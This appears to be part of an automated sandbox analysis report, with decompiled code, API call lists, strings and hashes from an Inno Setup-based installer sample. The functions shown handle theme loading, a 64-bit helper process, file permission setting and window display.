GetProcAddress.KERNEL32(00000000,GetThemeRect), ref: 0044AA6D
GetProcAddress.KERNEL32(00000000,GetThemeMargins), ref: 0044AA7F
GetProcAddress.KERNEL32(00000000,GetThemeIntList), ref: 0044AA91
GetProcAddress.KERNEL32(00000000,GetThemePropertyOrigin), ref: 0044AAA3
GetProcAddress.KERNEL32(00000000,SetWindowTheme), ref: 0044AAB5
GetProcAddress.KERNEL32(00000000,GetThemeFilename), ref: 0044AAC7
GetProcAddress.KERNEL32(00000000,GetThemeSysColor), ref: 0044AAD9
GetProcAddress.KERNEL32(00000000,GetThemeSysColorBrush), ref: 0044AAEB
GetProcAddress.KERNEL32(00000000,GetThemeSysBool), ref: 0044AAFD
GetProcAddress.KERNEL32(00000000,GetThemeSysSize), ref: 0044AB0F
GetProcAddress.KERNEL32(00000000,GetThemeSysFont), ref: 0044AB21
GetProcAddress.KERNEL32(00000000,GetThemeSysString), ref: 0044AB33
GetProcAddress.KERNEL32(00000000,GetThemeSysInt), ref: 0044AB45
GetProcAddress.KERNEL32(00000000,IsThemeActive), ref: 0044AB57
GetProcAddress.KERNEL32(00000000,IsAppThemed), ref: 0044AB69
GetProcAddress.KERNEL32(00000000,GetWindowTheme), ref: 0044AB7B
GetProcAddress.KERNEL32(00000000,EnableThemeDialogTexture), ref: 0044AB8D
GetProcAddress.KERNEL32(00000000,IsThemeDialogTextureEnabled), ref: 0044AB9F
GetProcAddress.KERNEL32(00000000,GetThemeAppProperties), ref: 0044ABB1
GetProcAddress.KERNEL32(00000000,SetThemeAppProperties), ref: 0044ABC3
GetProcAddress.KERNEL32(00000000,GetCurrentThemeName), ref: 0044ABD5
GetProcAddress.KERNEL32(00000000,GetThemeDocumentationProperty), ref: 0044ABE7
GetProcAddress.KERNEL32(00000000,DrawThemeParentBackground), ref: 0044ABF9
GetProcAddress.KERNEL32(00000000,EnableTheming), ref: 0044AC0B

Strings

GetThemeAppProperties, xrefs: 0044ABA9
HitTestThemeBackground, xrefs: 0044A97B
GetThemeInt, xrefs: 0044AA1D
GetThemeTextExtent, xrefs: 0044A945
DrawThemeParentBackground, xrefs: 0044ABF1
IsThemeActive, xrefs: 0044AB4F
GetThemePropertyOrigin, xrefs: 0044AA9B
DrawThemeEdge, xrefs: 0044A98D
GetThemeFont, xrefs: 0044AA53
DrawThemeText, xrefs: 0044A8FD
GetThemeIntList, xrefs: 0044AA89
GetThemeSysFont, xrefs: 0044AB19
GetThemeFilename, xrefs: 0044AABF
IsThemePartDefined, xrefs: 0044A9B1
GetThemeMargins, xrefs: 0044AA77
GetThemeDocumentationProperty, xrefs: 0044ABDF
GetThemeMetric, xrefs: 0044A9E7
DrawThemeIcon, xrefs: 0044A99F
GetThemeSysColorBrush, xrefs: 0044AAE3
uxtheme.dll, xrefs: 0044A8B2
IsAppThemed, xrefs: 0044AB61
GetWindowTheme, xrefs: 0044AB73
OpenThemeData, xrefs: 0044A8C7
SetWindowTheme, xrefs: 0044AAAD
CloseThemeData, xrefs: 0044A8D9
GetThemeBackgroundRegion, xrefs: 0044A969
GetThemePartSize, xrefs: 0044A933
GetThemeString, xrefs: 0044A9F9
GetThemePosition, xrefs: 0044AA41
EnableTheming, xrefs: 0044AC03
GetThemeTextMetrics, xrefs: 0044A957
GetThemeSysColor, xrefs: 0044AAD1
GetCurrentThemeName, xrefs: 0044ABCD
GetThemeSysBool, xrefs: 0044AAF5
GetThemeColor, xrefs: 0044A9D5
SetThemeAppProperties, xrefs: 0044ABBB
IsThemeBackgroundPartiallyTransparent, xrefs: 0044A9C3
GetThemeRect, xrefs: 0044AA65
GetThemeEnumValue, xrefs: 0044AA2F
GetThemeSysString, xrefs: 0044AB2B
GetThemeSysInt, xrefs: 0044AB3D
DrawThemeBackground, xrefs: 0044A8EB
GetThemeBackgroundContentRect, xrefs: 0044A90F, 0044A921
EnableThemeDialogTexture, xrefs: 0044AB85
GetThemeSysSize, xrefs: 0044AB07
IsThemeDialogTextureEnabled, xrefs: 0044AB97
GetThemeBool, xrefs: 0044AA0B

Memory Dump Source

Source File: 00000001.00000002.340853565.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.340843243.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340934453.000000000048E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340949028.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-L5RJL.jbxd

Similarity

API ID: AddressProc$LibraryLoadVersion
String ID: CloseThemeData$DrawThemeBackground$DrawThemeEdge$DrawThemeIcon$DrawThemeParentBackground$DrawThemeText$EnableThemeDialogTexture$EnableTheming$GetCurrentThemeName$GetThemeAppProperties$GetThemeBackgroundContentRect$GetThemeBackgroundRegion$GetThemeBool$GetThemeColor$GetThemeDocumentationProperty$GetThemeEnumValue$GetThemeFilename$GetThemeFont$GetThemeInt$GetThemeIntList$GetThemeMargins$GetThemeMetric$GetThemePartSize$GetThemePosition$GetThemePropertyOrigin$GetThemeRect$GetThemeString$GetThemeSysBool$GetThemeSysColor$GetThemeSysColorBrush$GetThemeSysFont$GetThemeSysInt$GetThemeSysSize$GetThemeSysString$GetThemeTextExtent$GetThemeTextMetrics$GetWindowTheme$HitTestThemeBackground$IsAppThemed$IsThemeActive$IsThemeBackgroundPartiallyTransparent$IsThemeDialogTextureEnabled$IsThemePartDefined$OpenThemeData$SetThemeAppProperties$SetWindowTheme$uxtheme.dll
API String ID: 1968650500-2910565190
Opcode ID: f99e072f65ce5fb64651f10ccd49704bf0ed7393a5e852a3ecbbe19cd1b694e8
Instruction ID: bcb542b80e1b37a6bab6985b5053b71c9442861add9d7bba732c52a67906b6e5
Opcode Fuzzy Hash: f99e072f65ce5fb64651f10ccd49704bf0ed7393a5e852a3ecbbe19cd1b694e8
Instruction Fuzzy Hash: 429152F0A80654AFEF00EFB5D886E2A37A4EB067543100A7BB444DF266D67C9915CF1E

Uniqueness

Uniqueness Score: -1.00%

Function 0045604C Relevance: 40.4, APIs: 11, Strings: 12, Instructions: 186
pipeprocessfileCOMMON

Download Yara Rule

C-Code - Quality: 84%

			E0045604C(void* __eax, void* __ebx, void* __edi, void* __esi, void* __eflags) {
				char _v12;
				char _v16;
				void* _v20;
				void* _v24;
				long _v28;
				struct _STARTUPINFOA _v96;
				struct _PROCESS_INFORMATION _v112;
				char _v116;
				long _v120;
				char _v124;
				long _v128;
				char _v132;
				intOrPtr _v136;
				char _v140;
				intOrPtr _v144;
				char _v148;
				char _v152;
				char _v156;
				char _v160;
				char _v164;
				void* _v168;
				char _v172;
				char _v176;
				char _v180;
				char _v184;
				int _t82;
				CHAR* _t90;
				CHAR* _t96;
				intOrPtr _t97;
				int _t99;
				void* _t126;
				intOrPtr _t138;
				struct _FILETIME* _t140;
				void* _t144;
				void* _t145;
				intOrPtr _t146;

				_t144 = _t145;
				_t146 = _t145 + 0xffffff4c;
				_v156 = 0;
				_v160 = 0;
				_v16 = 0;
				_t126 = __eax;
				_t140 =  &_v12;
				_push(_t144);
				_push(0x456346);
				_push( *[fs:eax]);
				 *[fs:eax] = _t146;
				E00455348("Starting 64-bit helper process.", __eax, _t140, 0x48ff0c);
				_t148 =  *0x490230;
				if( *0x490230 == 0) {
					E00451710("Cannot utilize 64-bit features on this version of Windows", _t126, _t140, 0x48ff0c, _t148);
				}
				_t149 =  *0x48ff08;
				if( *0x48ff08 == 0) {
					E00451710("64-bit helper EXE wasn\'t extracted", _t126, _t140, 0x48ff0c, _t149);
				}
				while(1) {
					 *0x48ff0c =  *0x48ff0c + 1;
					 *((intOrPtr*)(_t126 + 0x14)) = GetTickCount();
					if(QueryPerformanceCounter(_t140) == 0) {
						GetSystemTimeAsFileTime(_t140);
					}
					_v152 = GetCurrentProcessId();
					_v148 = 0;
					_v144 =  *0x48ff0c;
					_v140 = 0;
					_v136 =  *((intOrPtr*)(_t126 + 0x14));
					_v132 = 0;
					_v128 = _t140->dwHighDateTime;
					_v124 = 0;
					_v120 = _t140->dwLowDateTime;
					_v116 = 0;
					E0040788C("\\\\.\\pipe\\InnoSetup64BitHelper-%.8x-%.8x-%.8x-%.8x%.8x", 4,  &_v152,  &_v16);
					_v20 = CreateNamedPipeA(E00403750(_v16), 0x40080003, 6, 1, 0x2000, 0x2000, 0, 0);
					if(_v20 != 0xffffffff) {
						break;
					}
					if(GetLastError() != 0xe7) {
						E00451868("CreateNamedPipe");
					}
				}
				_push(_t144);
				_push(0x456302);
				_push( *[fs:eax]);
				 *[fs:eax] = _t146;
				_v24 = CreateFileA(E00403750(_v16), 0xc0000000, 0, 0x48ea7c, 3, 0, 0);
				__eflags = _v24 - 0xffffffff;
				if(_v24 == 0xffffffff) {
					E00451868("CreateFile");
				}
				_push(_t144);
				_push(0x4562f1);
				_push( *[fs:eax]);
				 *[fs:eax] = _t146;
				_v28 = 2;
				_t82 = SetNamedPipeHandleState(_v24,  &_v28, 0, 0);
				__eflags = _t82;
				if(_t82 == 0) {
					E00451868("SetNamedPipeHandleState");
				}
				E00402934( &_v96, 0x44);
				_v96.cb = 0x44;
				E0042D780( &_v156);
				_t90 = E00403750(_v156);
				_v176 = 0x68;
				_v172 = 0;
				_v168 = _v24;
				_v164 = 0;
				E0040788C("helper %d 0x%x", 1,  &_v176,  &_v160);
				_t96 = E00403750(_v160);
				_t97 =  *0x48ff08; // 0x2329ef0
				_t99 = CreateProcessA(E00403750(_t97), _t96, 0, 0, 1, 0xc000000, 0, _t90,  &_v96,  &_v112);
				__eflags = _t99;
				if(_t99 == 0) {
					E00451868("CreateProcess");
				}
				 *((char*)(_t126 + 4)) = 1;
				 *((char*)(_t126 + 5)) = 0;
				 *(_t126 + 8) = _v112.hProcess;
				 *((intOrPtr*)(_t126 + 0x10)) = _v112.dwProcessId;
				 *((intOrPtr*)(_t126 + 0xc)) = _v20;
				_v20 = 0;
				CloseHandle(_v112.hThread);
				_v184 =  *((intOrPtr*)(_t126 + 0x10));
				_v180 = 0;
				E00455538("Helper process PID: %u", _t126, 0,  &_v184, _t140, 0x48ff0c);
				__eflags = 0;
				_pop(_t138);
				 *[fs:eax] = _t138;
				_push(E004562F8);
				return CloseHandle(_v24);
			}

0x0045604d
0x0045604f
0x0045605a
0x00456060
0x00456066
0x00456069
0x00456070
0x00456075
0x00456076
0x0045607b
0x0045607e
0x00456086
0x0045608b
0x00456092
0x00456099
0x00456099
0x0045609e
0x004560a5
0x004560ac
0x004560ac
0x004560b1
0x004560b1
0x004560b8
0x004560c3
0x004560c6
0x004560c6
0x004560d4
0x004560da
0x004560e3
0x004560e9
0x004560f3
0x004560f9
0x00456100
0x00456103
0x00456109
0x0045610c
0x00456120
0x0045614a
0x00456151
0x00000000
0x00000000
0x0045615d
0x00456168
0x00456168
0x0045615d
0x00456174
0x00456175
0x0045617a
0x0045617d
0x004561a0
0x004561a3
0x004561a7
0x004561ae
0x004561ae
0x004561b5
0x004561b6
0x004561bb
0x004561be
0x004561c1
0x004561d4
0x004561d9
0x004561db
0x004561e2
0x004561e2
0x004561f1
0x004561f6
0x0045620b
0x00456216
0x00456230
0x0045623a
0x00456244
0x0045624a
0x00456261
0x0045626c
0x00456272
0x0045627d
0x00456282
0x00456284
0x0045628b
0x0045628b
0x00456290
0x00456294
0x0045629b
0x004562a1
0x004562a7
0x004562ac
0x004562b3
0x004562bb
0x004562c1
0x004562d5
0x004562da
0x004562dc
0x004562df
0x004562e2
0x004562f0

APIs

Part of subcall function 00455348: GetLocalTime.KERNEL32(0048DC69,00000000,004554CF,?,?,00000000,0048F628,?,00473FBC,00000000,004740D7,?,?,00000000,0048F628,00000000), ref: 00455378

GetTickCount.KERNEL32 ref: 004560B3
QueryPerformanceCounter.KERNEL32(022F386C,00000000,00456346,?,?,022F386C,00000000,?,00456A42,?,022F386C,00000000), ref: 004560BC
GetSystemTimeAsFileTime.KERNEL32(022F386C,022F386C), ref: 004560C6
GetCurrentProcessId.KERNEL32(?,022F386C,00000000,00456346,?,?,022F386C,00000000,?,00456A42,?,022F386C,00000000), ref: 004560CF
CreateNamedPipeA.KERNEL32(00000000,40080003,00000006,00000001,00002000,00002000,00000000,00000000), ref: 00456145
GetLastError.KERNEL32(00000000,40080003,00000006,00000001,00002000,00002000,00000000,00000000,?,022F386C,022F386C), ref: 00456153
CreateFileA.KERNEL32(00000000,C0000000,00000000,0048EA7C,00000003,00000000,00000000,00000000,00456302), ref: 0045619B
SetNamedPipeHandleState.KERNEL32(000000FF,00000002,00000000,00000000,00000000,004562F1,?,00000000,C0000000,00000000,0048EA7C,00000003,00000000,00000000,00000000,00456302), ref: 004561D4

Part of subcall function 0042D780: GetSystemDirectoryA.KERNEL32 ref: 0042D793

CreateProcessA.KERNEL32(00000000,00000000,?,00000000,00000000,00000001,0C000000,00000000,00000000,00000044,?,000000FF,00000002,00000000,00000000,00000000), ref: 0045627D
CloseHandle.KERNEL32(?,00000000,00000000,?,00000000,00000000,00000001,0C000000,00000000,00000000,00000044,?,000000FF,00000002,00000000,00000000), ref: 004562B3
CloseHandle.KERNEL32(000000FF,004562F8,?,00000000,00000000,00000001,0C000000,00000000,00000000,00000044,?,000000FF,00000002,00000000,00000000,00000000), ref: 004562EB

Part of subcall function 00451868: GetLastError.KERNEL32(00000000,0045227D,00000005,00000000,004522B2,?,?,00000000,0048F628,00000004,00000000,00000000,00000000,?,0048D561,00000000), ref: 0045186B

Strings

\\.\pipe\InnoSetup64BitHelper-%.8x-%.8x-%.8x-%.8x%.8x, xrefs: 0045611B
Helper process PID: %u, xrefs: 004562D0
SetNamedPipeHandleState, xrefs: 004561DD
CreateNamedPipe, xrefs: 00456163
64-bit helper EXE wasn't extracted, xrefs: 004560A7
CreateFile, xrefs: 004561A9
Starting 64-bit helper process., xrefs: 00456081
Cannot utilize 64-bit features on this version of Windows, xrefs: 00456094
D, xrefs: 004561F6
h, xrefs: 00456230
helper %d 0x%x, xrefs: 0045625C
CreateProcess, xrefs: 00456286

Memory Dump Source

Source File: 00000001.00000002.340853565.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.340843243.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340934453.000000000048E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340949028.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-L5RJL.jbxd

Similarity

API ID: CreateHandleTime$CloseErrorFileLastNamedPipeProcessSystem$CountCounterCurrentDirectoryLocalPerformanceQueryStateTick
String ID: 64-bit helper EXE wasn't extracted$Cannot utilize 64-bit features on this version of Windows$CreateFile$CreateNamedPipe$CreateProcess$D$Helper process PID: %u$SetNamedPipeHandleState$Starting 64-bit helper process.$\\.\pipe\InnoSetup64BitHelper-%.8x-%.8x-%.8x-%.8x%.8x$h$helper %d 0x%x
API String ID: 2735046408-3739555822
Opcode ID: ec9beae3a9b1e13e94e002c8b3dbf9eab0c7a1de6659c28eaa31fa7305e70ac7
Instruction ID: 1a9b257d91342fef263a14e22493d9589d0be6827de17724594f8b07de3194b4
Opcode Fuzzy Hash: ec9beae3a9b1e13e94e002c8b3dbf9eab0c7a1de6659c28eaa31fa7305e70ac7
Instruction Fuzzy Hash: C7715270A003449EDB20EF69CC41B9EBBB8EB05705F5185AAF908FB283D7785944CF69

Uniqueness

Uniqueness Score: -1.00%

Function 00459ACC Relevance: 22.9, APIs: 8, Strings: 5, Instructions: 172
libraryloadermemoryCOMMON

Download Yara Rule

C-Code - Quality: 51%

			E00459ACC(intOrPtr __eax, struct _SID_IDENTIFIER_AUTHORITY* __ecx, intOrPtr __edx, intOrPtr _a4, signed int _a8) {
				intOrPtr _v8;
				intOrPtr _v12;
				long _v16;
				_Unknown_base(*)()* _v20;
				_Unknown_base(*)()* _v24;
				char _v28;
				char _v32;
				void* _v36;
				int _v40;
				void* _v44;
				void* __edi;
				int _t103;
				signed int _t105;
				struct _SID_IDENTIFIER_AUTHORITY* _t109;
				signed int _t111;
				intOrPtr _t122;
				int _t131;
				int _t133;
				int _t134;
				struct HINSTANCE__* _t137;
				struct _SID_IDENTIFIER_AUTHORITY* _t138;
				void* _t140;
				void* _t142;
				intOrPtr _t143;

				_t140 = _t142;
				_t143 = _t142 + 0xffffffd8;
				_t109 = __ecx;
				_v12 = __edx;
				_v8 = __eax;
				if( *0x48e0dc != 2 || (GetVersion() & 0x000000ff) < 5) {
					_v16 = 1;
					goto L18;
				} else {
					_t137 = GetModuleHandleA("advapi32.dll");
					_t131 = GetProcAddress(_t137, "GetNamedSecurityInfoA");
					_v20 = GetProcAddress(_t137, "SetNamedSecurityInfoA");
					_v24 = GetProcAddress(_t137, "SetEntriesInAclW");
					__eflags = _t131;
					if(_t131 == 0) {
						L6:
						_v16 = 0x7f;
						goto L18;
					} else {
						__eflags = _v20;
						if(_v20 == 0) {
							goto L6;
						} else {
							__eflags = _v24;
							if(_v24 != 0) {
								_v40 = 0;
								_v16 =  *_t131(E00403750(_v12), _v8, 4, 0, 0,  &_v32, 0,  &_v28);
								__eflags = _v16;
								if(__eflags != 0) {
									L18:
									return _v16;
								} else {
									_push(_t140);
									_push(0x459d02);
									_push( *[fs:edx]);
									 *[fs:edx] = _t143;
									_v40 = E0040693C(_a8 << 5, 0, _t131, __eflags);
									_t138 = _t109;
									_t133 = _a8 - 1;
									__eflags = _t133;
									if(_t133 < 0) {
										L15:
										_v16 = _v24(_a8, _v40, _v32,  &_v36);
										__eflags = _v16;
										if(_v16 == 0) {
											 *[fs:eax] = _t143;
											_v16 = _v20(E00403750(_v12), _v8, 4, 0, 0, _v36, 0,  *[fs:eax], 0x459ca9, _t140);
											__eflags = 0;
											_pop(_t122);
											 *[fs:eax] = _t122;
											_push(0x459cb0);
											return LocalFree(_v36);
										} else {
											E004031D4();
											goto L18;
										}
									} else {
										_t134 = _t133 + 1;
										_t111 = 0;
										__eflags = 0;
										while(1) {
											_t103 = AllocateAndInitializeSid(_t138,  *(_t138 + 6),  *(_t138 + 8),  *(_t138 + 0xc), 0, 0, 0, 0, 0, 0,  &_v44);
											__eflags = _t103;
											if(_t103 == 0) {
												break;
											}
											_t105 = _t111 << 2;
											 *((intOrPtr*)(_v40 + _t105 * 8)) =  *((intOrPtr*)(_t138 + 0x10));
											 *((intOrPtr*)(_v40 + 4 + _t105 * 8)) = 1;
											 *((intOrPtr*)(_v40 + 8 + _t105 * 8)) = _a4;
											 *((intOrPtr*)(_v40 + 0x14 + _t105 * 8)) = 0;
											 *((intOrPtr*)(_v40 + 0x18 + _t105 * 8)) = 0;
											 *((intOrPtr*)(_v40 + 0x1c + _t105 * 8)) = _v44;
											_t138 = _t138 + 0x14;
											_t111 = _t111 + 1;
											_t134 = _t134 - 1;
											__eflags = _t134;
											if(_t134 != 0) {
												continue;
											} else {
												goto L15;
											}
											goto L19;
										}
										_v16 = GetLastError();
										__eflags = _v16;
										if(_v16 == 0) {
											_v16 = 0x57;
										}
										E004031D4();
										goto L18;
									}
								}
							} else {
								goto L6;
							}
						}
					}
				}
				L19:
			}

0x00459acd
0x00459acf
0x00459ad5
0x00459ad7
0x00459ada
0x00459ae4
0x00459af5
0x00000000
0x00459b01
0x00459b0b
0x00459b18
0x00459b25
0x00459b33
0x00459b36
0x00459b38
0x00459b46
0x00459b46
0x00000000
0x00459b3a
0x00459b3a
0x00459b3e
0x00000000
0x00459b40
0x00459b40
0x00459b44
0x00459b54
0x00459b76
0x00459b79
0x00459b7d
0x00459d09
0x00459d12
0x00459b83
0x00459b85
0x00459b86
0x00459b8b
0x00459b8e
0x00459b9c
0x00459b9f
0x00459ba4
0x00459ba5
0x00459ba7
0x00459c3f
0x00459c52
0x00459c55
0x00459c59
0x00459c70
0x00459c8f
0x00459c92
0x00459c94
0x00459c97
0x00459c9a
0x00459ca8
0x00459c5b
0x00459c5b
0x00000000
0x00459c5b
0x00459bad
0x00459bad
0x00459bae
0x00459bae
0x00459bb0
0x00459bcd
0x00459bd2
0x00459bd4
0x00000000
0x00000000
0x00459bf7
0x00459c00
0x00459c06
0x00459c14
0x00459c1d
0x00459c26
0x00459c30
0x00459c34
0x00459c37
0x00459c38
0x00459c38
0x00459c39
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00459c39
0x00459bdb
0x00459bde
0x00459be2
0x00459be4
0x00459be4
0x00459beb
0x00000000
0x00459beb
0x00459ba7
0x00000000
0x00000000
0x00000000
0x00459b44
0x00459b3e
0x00459b38
0x00000000

APIs

GetVersion.KERNEL32 ref: 00459AE6
GetModuleHandleA.KERNEL32(advapi32.dll), ref: 00459B06
GetProcAddress.KERNEL32(00000000,GetNamedSecurityInfoA), ref: 00459B13
GetProcAddress.KERNEL32(00000000,SetNamedSecurityInfoA), ref: 00459B20
GetProcAddress.KERNEL32(00000000,SetEntriesInAclW), ref: 00459B2E
AllocateAndInitializeSid.ADVAPI32(?,?,?,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,00000000,00459D02), ref: 00459BCD
GetLastError.KERNEL32(?,?,?,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,00000000,00459D02), ref: 00459BD6
LocalFree.KERNEL32(?,00459CB0), ref: 00459CA3

Strings

advapi32.dll, xrefs: 00459B01
SetNamedSecurityInfoA, xrefs: 00459B1A
SetEntriesInAclW, xrefs: 00459B28
W, xrefs: 00459BE4
GetNamedSecurityInfoA, xrefs: 00459B0D

Memory Dump Source

Source File: 00000001.00000002.340853565.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.340843243.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340934453.000000000048E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340949028.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-L5RJL.jbxd

Similarity

API ID: AddressProc$AllocateErrorFreeHandleInitializeLastLocalModuleVersion
String ID: GetNamedSecurityInfoA$SetEntriesInAclW$SetNamedSecurityInfoA$W$advapi32.dll
API String ID: 4088882585-3389539026
Opcode ID: 272b10af8ea4110a650e01645e3986d2d2ccb9d703d3944160d24cc951a2e80c
Instruction ID: 364729c02adb35093b02fa5f0a6a8e5783dcaa5ac0063102fef999f9ab806f4b
Opcode Fuzzy Hash: 272b10af8ea4110a650e01645e3986d2d2ccb9d703d3944160d24cc951a2e80c
Instruction Fuzzy Hash: B65162B4900608EFDB10DF99D845BAEB7F8EB48311F20806AE914F7281D7799E45CF68

Uniqueness

Uniqueness Score: -1.00%

Function 00422840 Relevance: 18.3, APIs: 12, Instructions: 255
windowCOMMON

Download Yara Rule

C-Code - Quality: 80%

			E00422840(intOrPtr* __eax, void* __ebx, void* __edi, void* __esi) {
				intOrPtr* _v8;
				void* __ecx;
				intOrPtr _t94;
				intOrPtr _t95;
				intOrPtr _t100;
				intOrPtr _t102;
				intOrPtr _t103;
				void* _t105;
				struct HWND__* _t106;
				long _t116;
				long _t150;
				intOrPtr _t156;
				int _t161;
				intOrPtr _t162;
				intOrPtr _t182;
				intOrPtr _t186;
				struct HWND__* _t195;
				signed int _t198;
				signed int _t199;
				signed int _t202;
				void* _t207;
				intOrPtr _t211;
				intOrPtr _t212;
				intOrPtr _t214;
				signed int _t222;
				signed int _t223;
				signed int _t225;
				intOrPtr _t227;
				intOrPtr _t228;

				_t227 = _t228;
				_push(0xf031);
				_push(__ebx);
				_push(__esi);
				_push(__edi);
				_v8 = __eax;
				if(( *(_v8 + 0x1c) & 0x00000010) == 0 && ( *(_v8 + 0x119) & 0x00000004) != 0) {
					E00408C54(__ebx, 0xf031, 1, __edi, __esi);
					E00403134();
				}
				 *(_v8 + 0x119) =  *(_v8 + 0x119) | 0x00000004;
				_push(_t227);
				_push(0x422ba2);
				_push( *[fs:eax]);
				 *[fs:eax] = _t228;
				if(( *(_v8 + 0x1c) & 0x00000010) == 0) {
					_t95 = _v8;
					_t232 =  *((char*)(_t95 + 0xc7));
					if( *((char*)(_t95 + 0xc7)) == 0) {
						 *[fs:eax] = _t228;
						E00402C18(_v8, 0xffdd, 0xf031, __eflags,  *[fs:eax], 0x422aa9, _t227);
						_pop(_t212);
						_pop(_t207);
						 *[fs:eax] = _t212;
						_t100 =  *0x48f62c; // 0x22f0660
						__eflags =  *((intOrPtr*)(_t100 + 0x40)) - _v8;
						if( *((intOrPtr*)(_t100 + 0x40)) == _v8) {
							__eflags = 0;
							E00421E10(_v8, _t207, 0);
						}
						_t102 = _v8;
						__eflags =  *((char*)(_t102 + 0x116)) - 1;
						if( *((char*)(_t102 + 0x116)) != 1) {
							_t103 = _v8;
							__eflags =  *(_t103 + 0x119) & 0x00000008;
							if(( *(_t103 + 0x119) & 0x00000008) == 0) {
								_t195 = 0;
								_t105 = E004181C4(_v8);
								_t106 = GetActiveWindow();
								__eflags = _t105 - _t106;
								if(_t105 == _t106) {
									_t116 = IsIconic(E004181C4(_v8));
									__eflags = _t116;
									if(_t116 == 0) {
										_t195 = E0041EFD8(E004181C4(_v8));
									}
								}
								__eflags = _t195;
								if(_t195 == 0) {
									ShowWindow(E004181C4(_v8), 0);
								} else {
									SetWindowPos(E004181C4(_v8), 0, 0, 0, 0, 0, 0x97);
									SetActiveWindow(_t195);
								}
							} else {
								SetWindowPos(E004181C4(_v8), 0, 0, 0, 0, 0, 0x97);
							}
						} else {
							E00416694(_v8);
						}
					} else {
						 *[fs:eax] = _t228;
						E00402C18(_v8, 0xffdc, 0xf031, _t232,  *[fs:eax], 0x4228ce, _t227);
						_pop(_t214);
						 *[fs:eax] = _t214;
						if( *((char*)(_v8 + 0x117)) == 4) {
							if( *((char*)(_v8 + 0x116)) != 1) {
								_t198 = E0042318C() -  *(_v8 + 0x2c);
								__eflags = _t198;
								_t199 = _t198 >> 1;
								if(_t198 < 0) {
									asm("adc ebx, 0x0");
								}
								_t222 = E00423184() -  *(_v8 + 0x30);
								__eflags = _t222;
								_t223 = _t222 >> 1;
								if(_t222 < 0) {
									asm("adc esi, 0x0");
								}
							} else {
								_t182 =  *0x48f628; // 0x22f2410
								_t202 = E004146A0( *((intOrPtr*)(_t182 + 0x28))) -  *(_v8 + 0x2c);
								_t199 = _t202 >> 1;
								if(_t202 < 0) {
									asm("adc ebx, 0x0");
								}
								_t186 =  *0x48f628; // 0x22f2410
								_t225 = E004146E4( *((intOrPtr*)(_t186 + 0x28))) -  *(_v8 + 0x30);
								_t223 = _t225 >> 1;
								if(_t225 < 0) {
									asm("adc esi, 0x0");
								}
							}
							if(_t199 < 0) {
								_t199 = 0;
							}
							if(_t223 < 0) {
								_t223 = 0;
							}
							 *((intOrPtr*)( *_v8 + 0x4c))( *(_v8 + 0x30),  *(_v8 + 0x2c));
						}
						 *((char*)(_v8 + 0x117)) = 0;
						if( *((char*)(_v8 + 0x116)) != 1) {
							ShowWindow(E004181C4(_v8),  *(0x48e5d8 + ( *(_v8 + 0x112) & 0x000000ff) * 4));
						} else {
							if( *(_v8 + 0x112) != 2) {
								ShowWindow(E004181C4(_v8),  *(0x48e5d8 + ( *(_v8 + 0x112) & 0x000000ff) * 4));
								_t150 =  *(_v8 + 0x30) << 0x00000010 |  *(_v8 + 0x2c);
								__eflags = _t150;
								CallWindowProcA(0x405e24, E004181C4(_v8), 5, 0, _t150);
								E00414CA8(_v8);
							} else {
								_t161 = E004181C4(_v8);
								_t162 =  *0x48f628; // 0x22f2410
								SendMessageA( *( *((intOrPtr*)(_t162 + 0x28)) + 0x130), 0x223, _t161, 0);
								ShowWindow(E004181C4(_v8), 3);
							}
							_t156 =  *0x48f628; // 0x22f2410
							SendMessageA( *( *((intOrPtr*)(_t156 + 0x28)) + 0x130), 0x234, 0, 0);
						}
					}
				}
				_pop(_t211);
				 *[fs:eax] = _t211;
				_push(0x422ba9);
				_t94 = _v8;
				 *(_t94 + 0x119) =  *(_t94 + 0x119) & 0x000000fb;
				return _t94;
			}

0x00422841
0x00422843
0x00422844
0x00422845
0x00422846
0x00422847
0x00422851
0x0042286b
0x00422870
0x00422870
0x00422878
0x00422881
0x00422882
0x00422887
0x0042288a
0x00422894
0x0042289a
0x0042289d
0x004228a4
0x00422a90
0x00422a9a
0x00422aa1
0x00422aa3
0x00422aa4
0x00422ac0
0x00422ac8
0x00422acb
0x00422acd
0x00422ad2
0x00422ad2
0x00422ad7
0x00422ada
0x00422ae1
0x00422af0
0x00422af3
0x00422afa
0x00422b1b
0x00422b20
0x00422b27
0x00422b2c
0x00422b2e
0x00422b39
0x00422b3e
0x00422b40
0x00422b4f
0x00422b4f
0x00422b40
0x00422b51
0x00422b53
0x00422b85
0x00422b55
0x00422b6d
0x00422b73
0x00422b73
0x00422afc
0x00422b14
0x00422b14
0x00422ae3
0x00422ae6
0x00422ae6
0x004228aa
0x004228b5
0x004228bf
0x004228c6
0x004228c9
0x004228ef
0x004228ff
0x0042294a
0x0042294a
0x0042294d
0x0042294f
0x00422951
0x00422951
0x00422963
0x00422963
0x00422966
0x00422968
0x0042296a
0x0042296a
0x00422901
0x00422901
0x00422913
0x00422916
0x00422918
0x0042291a
0x0042291a
0x0042291d
0x0042292f
0x00422932
0x00422934
0x00422936
0x00422936
0x00422934
0x0042296f
0x00422971
0x00422971
0x00422975
0x00422977
0x00422977
0x00422990
0x00422990
0x00422996
0x004229a7
0x00422a7b
0x004229ad
0x004229b7
0x00422a0a
0x00422a1b
0x00422a1b
